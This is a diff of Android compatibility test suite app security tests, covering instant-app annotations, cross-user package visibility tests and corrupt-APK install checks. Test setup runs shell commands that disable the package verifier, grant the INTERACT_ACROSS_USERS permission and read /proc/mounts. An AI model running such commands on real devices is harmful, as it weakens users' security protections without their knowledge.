+ getDevice().executeShellCommand("settings get global package_verifier_enable");
+ getDevice().executeShellCommand("settings put global package_verifier_enable 0");
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ getDevice().uninstallPackage(TEST_WITH_PERMISSION_PKG);
+ getDevice().uninstallPackage(TINY_PKG);
+ getDevice().executeShellCommand("settings put global package_verifier_enable "
+ + mOldVerifierValue);
+ }
+
+ @Test
+ @AppModeFull(reason = "instant applications cannot be granted INTERACT_ACROSS_USERS")
+ public void testPackageListCrossUserGrant() throws Exception {
+ if (!mSupportsMultiUser) {
+ return;
+ }
+
+ final int installUserId = mUsers[1];
+ final int testUserId = mUsers[2];
+
+ installTestAppForUser(TINY_APK, installUserId);
+ installTestAppForUser(TEST_WITH_PERMISSION_APK, testUserId);
+
+ final String grantCmd = "pm grant"
+ + " com.android.cts.applicationvisibility"
+ + " android.permission.INTERACT_ACROSS_USERS";
+ getDevice().executeShellCommand(grantCmd);
+ Utils.runDeviceTests(
+ getDevice(),
+ TEST_WITH_PERMISSION_PKG,
+ ".ApplicationVisibilityCrossUserTest",
+ "testPackageVisibility_currentUser",
+ testUserId);
+ Utils.runDeviceTests(
+ getDevice(),
+ TEST_WITH_PERMISSION_PKG,
+ ".ApplicationVisibilityCrossUserTest",
+ "testPackageVisibility_anyUserCrossUserGrant",
+ testUserId);
+ }
+
+ @Test
+ @AppModeFull(reason = "instant applications cannot see any other application")
+ public void testPackageListCrossUserNoGrant() throws Exception {
+ if (!mSupportsMultiUser) {
+ return;
+ }
+
+ final int installUserId = mUsers[1];
+ final int testUserId = mUsers[2];
+
+ installTestAppForUser(TINY_APK, installUserId);
+ installTestAppForUser(TEST_WITH_PERMISSION_APK, testUserId);
+
+ Utils.runDeviceTests(
+ getDevice(),
+ TEST_WITH_PERMISSION_PKG,
+ ".ApplicationVisibilityCrossUserTest",
+ "testPackageVisibility_currentUser",
+ testUserId);
+ Utils.runDeviceTests(
+ getDevice(),
+ TEST_WITH_PERMISSION_PKG,
+ ".ApplicationVisibilityCrossUserTest",
+ "testPackageVisibility_anyUserCrossUserNoGrant",
+ testUserId);
+ }
+
+ @Test
+ @AppModeFull(reason = "instant applications cannot be granted INTERACT_ACROSS_USERS")
+ public void testPackageListOtherUserCrossUserGrant() throws Exception {
+ if (!mSupportsMultiUser) {
+ return;
+ }
+
+ final int installUserId = mUsers[1];
+ final int testUserId = mUsers[2];
+ final Map<String, String> testArgs = new HashMap<>();
+ testArgs.put("testUser", Integer.toString(installUserId));
+
+ installTestAppForUser(TINY_APK, installUserId);
+ installTestAppForUser(TEST_WITH_PERMISSION_APK, testUserId);
+
+ final String grantCmd = "pm grant"
+ + " com.android.cts.applicationvisibility"
+ + " android.permission.INTERACT_ACROSS_USERS";
+ getDevice().executeShellCommand(grantCmd);
+ Utils.runDeviceTests(
+ getDevice(),
+ TEST_WITH_PERMISSION_PKG,
+ ".ApplicationVisibilityCrossUserTest",
+ "testPackageVisibility_otherUserGrant",
+ testUserId,
+ testArgs);
+ }
+
+ @Test
+ @AppModeFull(reason = "instant applications cannot see any other application")
+ public void testPackageListOtherUserCrossUserNoGrant() throws Exception {
+ if (!mSupportsMultiUser) {
+ return;
+ }
+
+ final int installUserId = mUsers[1];
+ final int testUserId = mUsers[2];
+ final Map<String, String> testArgs = new HashMap<>();
+ testArgs.put("testUser", Integer.toString(installUserId));
+
+ installTestAppForUser(TINY_APK, installUserId);
+ installTestAppForUser(TEST_WITH_PERMISSION_APK, testUserId);
+
+ Utils.runDeviceTests(
+ getDevice(),
+ TEST_WITH_PERMISSION_PKG,
+ ".ApplicationVisibilityCrossUserTest",
+ "testPackageVisibility_otherUserNoGrant",
+ testUserId,
+ testArgs);
+ }
+
+ @Test
+ @AppModeFull(reason = "instant applications cannot be granted INTERACT_ACROSS_USERS")
+ public void testApplicationListCrossUserGrant() throws Exception {
+ if (!mSupportsMultiUser) {
+ return;
+ }
+
+ final int installUserId = mUsers[1];
+ final int testUserId = mUsers[2];
+
+ installTestAppForUser(TINY_APK, installUserId);
+ installTestAppForUser(TEST_WITH_PERMISSION_APK, testUserId);
+
+ final String grantCmd = "pm grant"
+ + " com.android.cts.applicationvisibility"
+ + " android.permission.INTERACT_ACROSS_USERS";
+ getDevice().executeShellCommand(grantCmd);
+ Utils.runDeviceTests(
+ getDevice(),
+ TEST_WITH_PERMISSION_PKG,
+ ".ApplicationVisibilityCrossUserTest",
+ "testApplicationVisibility_currentUser",
+ testUserId);
+ Utils.runDeviceTests(
+ getDevice(),
+ TEST_WITH_PERMISSION_PKG,
+ ".ApplicationVisibilityCrossUserTest",
+ "testApplicationVisibility_anyUserCrossUserGrant",
+ testUserId);
+ }
+
+ @Test
+ @AppModeFull(reason = "instant applications cannot see any other application")
+ public void testApplicationListCrossUserNoGrant() throws Exception {
+ if (!mSupportsMultiUser) {
+ return;
+ }
+
+ final int installUserId = mUsers[1];
+ final int testUserId = mUsers[2];
+
+ installTestAppForUser(TINY_APK, installUserId);
+ installTestAppForUser(TEST_WITH_PERMISSION_APK, testUserId);
+
+ Utils.runDeviceTests(
+ getDevice(),
+ TEST_WITH_PERMISSION_PKG,
+ ".ApplicationVisibilityCrossUserTest",
+ "testApplicationVisibility_currentUser",
+ testUserId);
+ Utils.runDeviceTests(
+ getDevice(),
+ TEST_WITH_PERMISSION_PKG,
+ ".ApplicationVisibilityCrossUserTest",
+ "testApplicationVisibility_anyUserCrossUserNoGrant",
+ testUserId);
+ }
+
+ @Test
+ @AppModeFull(reason = "instant applications cannot be granted INTERACT_ACROSS_USERS")
+ public void testApplicationListOtherUserCrossUserGrant() throws Exception {
+ if (!mSupportsMultiUser) {
+ return;
+ }
+
+ final int installUserId = mUsers[1];
+ final int testUserId = mUsers[2];
+ final Map<String, String> testArgs = new HashMap<>();
+ testArgs.put("testUser", Integer.toString(installUserId));
+
+ installTestAppForUser(TINY_APK, installUserId);
+ installTestAppForUser(TEST_WITH_PERMISSION_APK, testUserId);
+
+ final String grantCmd = "pm grant"
+ + " com.android.cts.applicationvisibility"
+ + " android.permission.INTERACT_ACROSS_USERS";
+ getDevice().executeShellCommand(grantCmd);
+ Utils.runDeviceTests(
+ getDevice(),
+ TEST_WITH_PERMISSION_PKG,
+ ".ApplicationVisibilityCrossUserTest",
+ "testApplicationVisibility_otherUserGrant",
+ testUserId,
+ testArgs);
+ }
+
+ @Test
+ @AppModeFull(reason = "instant applications cannot see any other application")
+ public void testApplicationListOtherUserCrossUserNoGrant() throws Exception {
+ if (!mSupportsMultiUser) {
+ return;
+ }
+
+ final int installUserId = mUsers[1];
+ final int testUserId = mUsers[2];
+ final Map<String, String> testArgs = new HashMap<>();
+ testArgs.put("testUser", Integer.toString(installUserId));
+
+ installTestAppForUser(TINY_APK, installUserId);
+ installTestAppForUser(TEST_WITH_PERMISSION_APK, testUserId);
+
+ Utils.runDeviceTests(
+ getDevice(),
+ TEST_WITH_PERMISSION_PKG,
+ ".ApplicationVisibilityCrossUserTest",
+ "testApplicationVisibility_otherUserNoGrant",
+ testUserId,
+ testArgs);
+ }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
index f4f6d9e..6830f30 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
@@ -15,6 +15,7 @@
*/
package android.appsecurity.cts;
+import android.platform.test.annotations.AppModeFull;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.IBuildReceiver;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -57,12 +58,14 @@
}
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testBaseClassLoader() throws Exception {
new InstallMultiple().addApk(APK_BASE).run();
runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
}
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testFeatureAClassLoader() throws Exception {
new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).run();
runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
@@ -70,6 +73,7 @@
}
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testFeatureBClassLoader() throws Exception {
new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
@@ -78,6 +82,7 @@
}
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testReceiverClassLoaders() throws Exception {
new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
index dcbea2a..6849d0c 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
@@ -17,6 +17,7 @@
import static com.google.common.truth.Truth.assertThat;
+import android.platform.test.annotations.AppModeFull;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.ITestDevice;
@@ -34,9 +35,11 @@
* Set of tests that verify that corrupt APKs are properly rejected by PackageManager and
* do not cause the system to crash.
*/
+@AppModeFull // TODO: Needs porting to instant
public class CorruptApkTests extends DeviceTestCase implements IBuildReceiver {
private final String B71360999_PKG = "com.android.appsecurity.b71360999";
- private final String B71361168_PKG = "com.example.helloworld";
+ private final String B71361168_PKG = "com.android.appsecurity.b71361168";
+ private final String B79488511_PKG = "com.android.appsecurity.b79488511";
private IBuildInfo mBuildInfo;
@@ -51,6 +54,7 @@
super.setUp();
uninstall(B71360999_PKG);
uninstall(B71361168_PKG);
+ uninstall(B79488511_PKG);
}
@After
@@ -59,6 +63,7 @@
super.tearDown();
uninstall(B71360999_PKG);
uninstall(B71361168_PKG);
+ uninstall(B79488511_PKG);
}
/** Uninstall the apk if the test failed previously. */
@@ -70,11 +75,11 @@
}
/**
- * Tests that apks described in b/71360999 do not install successfully nor cause
+ * Tests that apks described in b/71360999 do not install successfully.
*/
public void testFailToInstallCorruptStringPoolHeader_b71360999() throws Exception {
final String APK_PATH = "CtsCorruptApkTests_b71360999.apk";
- assertFailsToInstall(APK_PATH, B71360999_PKG);
+ assertInstallNoFatalError(APK_PATH, B71360999_PKG);
}
/**
@@ -82,14 +87,22 @@
*/
public void testFailToInstallCorruptStringPoolHeader_b71361168() throws Exception {
final String APK_PATH = "CtsCorruptApkTests_b71361168.apk";
- assertFailsToInstall(APK_PATH, B71361168_PKG);
+ assertInstallNoFatalError(APK_PATH, B71361168_PKG);
}
/**
- * Assert that the app fails to install and the reason for failing is not caused by a buffer
- * overflow nor a out of bounds read.
+ * Tests that apks described in b/79488511 do not install successfully.
+ */
+ public void testFailToInstallCorruptStringPoolHeader_b79488511() throws Exception {
+ final String APK_PATH = "CtsCorruptApkTests_b79488511.apk";
+ assertInstallNoFatalError(APK_PATH, B79488511_PKG);
+ }
+
+ /**
+ * Assert that installing the app does not cause a native error caused by a buffer overflow
+ * or an out-of-bounds read.
**/
- private void assertFailsToInstall(String filename, String pkg) throws Exception {
+ private void assertInstallNoFatalError(String filename, String pkg) throws Exception {
ITestDevice device = getDevice();
device.clearLogcat();
@@ -97,9 +110,12 @@
new CompatibilityBuildHelper(mBuildInfo).getTestFile(filename),
true /*reinstall*/);
- assertThat(result).isNotNull();
- assertThat(result).isNotEmpty();
- assertThat(device.getInstalledPackageNames()).doesNotContain(pkg);
+ // Starting from P, corrupt apks should always fail to install
+ if (device.getApiLevel() >= 28) {
+ assertThat(result).isNotNull();
+ assertThat(result).isNotEmpty();
+ assertThat(device.getInstalledPackageNames()).doesNotContain(pkg);
+ }
// This catches if the device fails to install the app because a segmentation fault
// or out of bounds read created by the bug occurs
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index 7ba2eb9..8a781c6 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -19,6 +19,7 @@
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
+import android.platform.test.annotations.AppModeFull;
import com.android.ddmlib.AdbCommandRejectedException;
import com.android.ddmlib.CollectingOutputReceiver;
import com.android.ddmlib.Log;
@@ -79,6 +80,7 @@
* Automotive devices MUST support native FBE.
*/
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testAutomotiveNativeFbe() throws Exception {
if (!isSupportedDevice()) {
Log.v(TAG, "Device not supported; skipping test");
@@ -96,6 +98,7 @@
* If device has native FBE, verify lifecycle.
*/
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testDirectBootNative() throws Exception {
if (!isSupportedDevice()) {
Log.v(TAG, "Device not supported; skipping test");
@@ -112,6 +115,7 @@
* If device doesn't have native FBE, enable emulation and verify lifecycle.
*/
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testDirectBootEmulated() throws Exception {
if (!isSupportedDevice()) {
Log.v(TAG, "Device not supported; skipping test");
@@ -128,6 +132,7 @@
* If device doesn't have native FBE, verify normal lifecycle.
*/
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testDirectBootNone() throws Exception {
if (!isSupportedDevice()) {
Log.v(TAG, "Device not supported; skipping test");
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
index 6f3b8cd..6530e96 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
@@ -16,12 +16,14 @@
package android.appsecurity.cts;
+import android.platform.test.annotations.AppModeFull;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
/**
* Set of tests that verify behavior of
* {@link android.provider.DocumentsContract} and related intents.
*/
+@AppModeFull // TODO: Needs porting to instant
public class DocumentsTest extends DocumentsTestCase {
private static final String PROVIDER_PKG = "com.android.cts.documentprovider";
private static final String PROVIDER_APK = "CtsDocumentProvider.apk";
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
index 1b67135..53ec3d4 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
@@ -16,6 +16,7 @@
package android.appsecurity.cts;
+import android.platform.test.annotations.AppModeFull;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.DeviceNotAvailableException;
@@ -33,6 +34,7 @@
/**
* Tests for ephemeral packages.
*/
+@AppModeFull // Already handles instant installs when needed.
public class EphemeralTest extends DeviceTestCase
implements IAbiReceiver, IBuildReceiver {
@@ -118,9 +120,14 @@
mBuildInfo = buildInfo;
}
+ @Override
public void setUp() throws Exception {
super.setUp();
+ if (isDeviceUnsupported()) {
+ return;
+ }
+
Utils.prepareSingleUser(getDevice());
assertNotNull(mAbi);
assertNotNull(mBuildInfo);
@@ -130,27 +137,45 @@
}
public void tearDown() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
uninstallTestPackages();
super.tearDown();
}
public void testNormalQuery() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(NORMAL_PKG, TEST_CLASS, "testQuery");
}
public void testNormalStartNormal() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(NORMAL_PKG, TEST_CLASS, "testStartNormal");
}
public void testNormalStartEphemeral() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(NORMAL_PKG, TEST_CLASS, "testStartEphemeral");
}
public void testEphemeralQuery() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testQuery");
}
public void testEphemeralStartNormal() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartNormal");
}
@@ -158,55 +183,100 @@
// avoid sharing state. once an instant app is exposed to a component, it's
// exposed until the device restarts or the instant app is removed.
public void testEphemeralStartExposed01() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed01");
}
public void testEphemeralStartExposed02() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed02");
}
public void testEphemeralStartExposed03() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed03");
}
public void testEphemeralStartExposed04() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed04");
}
public void testEphemeralStartExposed05() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed05");
}
public void testEphemeralStartExposed06() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed06");
}
public void testEphemeralStartExposed07() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed07");
}
public void testEphemeralStartExposed08() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed08");
}
public void testEphemeralStartExposed09() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed09");
}
public void testEphemeralStartExposed10() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed10");
}
public void testEphemeralStartEphemeral() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartEphemeral");
}
public void testEphemeralGetInstaller01() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
installEphemeralApp(EPHEMERAL_1_APK, "com.android.cts.normalapp");
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testGetInstaller01");
}
public void testEphemeralGetInstaller02() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
installApp(NORMAL_APK, "com.android.cts.normalapp");
installEphemeralApp(EPHEMERAL_1_APK, "com.android.cts.normalapp");
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testGetInstaller02");
}
public void testEphemeralGetInstaller03() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
installApp(NORMAL_APK, "com.android.cts.normalapp");
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testGetInstaller03");
}
public void testExposedSystemActivities() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
for (Map<String, String> testArgs : EXPECTED_EXPOSED_INTENTS) {
final boolean exposed = isIntentExposed(testArgs);
if (exposed) {
@@ -218,31 +288,52 @@
}
public void testBuildSerialUnknown() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testBuildSerialUnknown");
}
public void testPackageInfo() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testPackageInfo");
}
public void testActivityInfo() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testActivityInfo");
}
public void testWebViewLoads() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(EPHEMERAL_1_PKG, WEBVIEW_TEST_CLASS, "testWebViewLoads");
}
public void testInstallPermissionNotGranted() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testInstallPermissionNotGranted");
}
public void testInstallPermissionGranted() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testInstallPermissionGranted");
}
/** Test for android.permission.INSTANT_APP_FOREGROUND_SERVICE */
public void testStartForegrondService() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
// Make sure the test package does not have INSTANT_APP_FOREGROUND_SERVICE
getDevice().executeShellCommand("cmd package revoke " + EPHEMERAL_1_PKG
+ " android.permission.INSTANT_APP_FOREGROUND_SERVICE");
@@ -251,46 +342,73 @@
/** Test for android.permission.RECORD_AUDIO */
public void testRecordAudioPermission() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testRecordAudioPermission");
}
/** Test for android.permission.CAMERA */
public void testCameraPermission() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testCameraPermission");
}
/** Test for android.permission.READ_PHONE_NUMBERS */
public void testReadPhoneNumbersPermission() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testReadPhoneNumbersPermission");
}
/** Test for android.permission.ACCESS_COARSE_LOCATION */
public void testAccessCoarseLocationPermission() throws Throwable {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testAccessCoarseLocationPermission");
}
/** Test for android.permission.NETWORK */
public void testInternetPermission() throws Throwable {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testInternetPermission");
}
/** Test for android.permission.VIBRATE */
public void testVibratePermission() throws Throwable {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testVibratePermission");
}
/** Test for android.permission.WAKE_LOCK */
public void testWakeLockPermission() throws Throwable {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testWakeLockPermission");
}
/** Test for search manager */
public void testGetSearchableInfo() throws Throwable {
+ if (isDeviceUnsupported()) {
+ return;
+ }
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testGetSearchableInfo");
}
/** Test for upgrade from instant --> full */
public void testInstantAppUpgrade() throws Throwable {
+ if (isDeviceUnsupported()) {
+ return;
+ }
installEphemeralApp(UPGRADED_APK);
runDeviceTests(UPGRADED_PKG, TEST_CLASS, "testInstantApplicationWritePreferences");
runDeviceTests(UPGRADED_PKG, TEST_CLASS, "testInstantApplicationWriteFile");
@@ -315,6 +433,19 @@
return testArgs;
}
+ private static final String[] sUnsupportedFeatures = {
+ "feature:android.hardware.type.watch",
+ "android.hardware.type.embedded",
+ };
+ private boolean isDeviceUnsupported() throws Exception {
+ for (String unsupportedFeature : sUnsupportedFeatures) {
+ if (getDevice().hasFeature(unsupportedFeature)) {
+ return true;
+ }
+ }
+ return false;
+ }
+
private boolean isIntentExposed(Map<String, String> testArgs)
throws DeviceNotAvailableException {
final StringBuffer command = new StringBuffer();
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
index 3ba96ea..c2a0531 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
@@ -21,6 +21,7 @@
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
+import android.platform.test.annotations.AppModeFull;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.ddmlib.Log;
import com.android.tradefed.device.DeviceNotAvailableException;
@@ -78,6 +79,7 @@
* Verify that app with no external storage permissions works correctly.
*/
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testExternalStorageNone() throws Exception {
try {
wipePrimaryExternalStorage();
@@ -101,6 +103,7 @@
* correctly.
*/
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testExternalStorageRead() throws Exception {
try {
wipePrimaryExternalStorage();
@@ -124,6 +127,7 @@
* correctly.
*/
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testExternalStorageWrite() throws Exception {
try {
wipePrimaryExternalStorage();
@@ -146,6 +150,7 @@
* directories belonging to other apps, and those apps can read.
*/
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testExternalStorageGifts() throws Exception {
try {
wipePrimaryExternalStorage();
@@ -180,6 +185,7 @@
* isolated storage.
*/
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testMultiUserStorageIsolated() throws Exception {
try {
if (mUsers.length == 1) {
@@ -226,6 +232,7 @@
* when apps with r/w permission levels move around their files.
*/
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testMultiViewMoveConsistency() throws Exception {
try {
wipePrimaryExternalStorage();
@@ -269,6 +276,7 @@
/** Verify that app without READ_EXTERNAL can play default URIs in external storage. */
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testExternalStorageReadDefaultUris() throws Exception {
try {
wipePrimaryExternalStorage();
@@ -305,6 +313,7 @@
* tool to read/write files in those locations.
*/
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testSecondaryUsersInaccessible() throws Exception {
List<String> mounts = new ArrayList<>();
for (String line : getDevice().executeShellCommand("cat /proc/mounts").split("\n")) {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java
index 4609e8a..b6cd29d 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java
@@ -16,6 +16,7 @@
package android.appsecurity.cts;
+import android.platform.test.annotations.AppModeFull;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.DeviceNotAvailableException;
@@ -29,6 +30,7 @@
/**
* Tests for ephemeral packages.
*/
+@AppModeFull // Already handles instant installs when needed.
public class InstantAppUserTest extends DeviceTestCase
implements IAbiReceiver, IBuildReceiver {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java
index 51fa77b..c276d66 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java
@@ -16,6 +16,7 @@
package android.appsecurity.cts;
+import android.platform.test.annotations.AppModeFull;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.DeviceNotAvailableException;
@@ -25,6 +26,7 @@
/**
* Tests for the instant cookie APIs
*/
+@AppModeFull // Already handles instant installs when needed.
public class InstantCookieHostTest extends DeviceTestCase implements IBuildReceiver {
private static final String INSTANT_COOKIE_APP_APK = "CtsInstantCookieApp.apk";
private static final String INSTANT_COOKIE_APP_PKG = "test.instant.cookie";
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
index 8795fe8..dc08b6c 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
@@ -15,10 +15,12 @@
*/
package android.appsecurity.cts;
+import android.platform.test.annotations.AppModeFull;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.testtype.DeviceTestCase;
import com.android.tradefed.testtype.IBuildReceiver;
+@AppModeFull // TODO: Needs porting to instant
public class IsolatedSplitsTests extends DeviceTestCase implements IBuildReceiver {
private static final String PKG = "com.android.cts.isolatedsplitapp";
private static final String TEST_CLASS = PKG + ".SplitAppTest";
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java
index 03a1189..28061f6 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java
@@ -16,6 +16,7 @@
package android.appsecurity.cts;
+import android.platform.test.annotations.AppModeFull;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
import com.android.ddmlib.testrunner.TestResult.TestStatus;
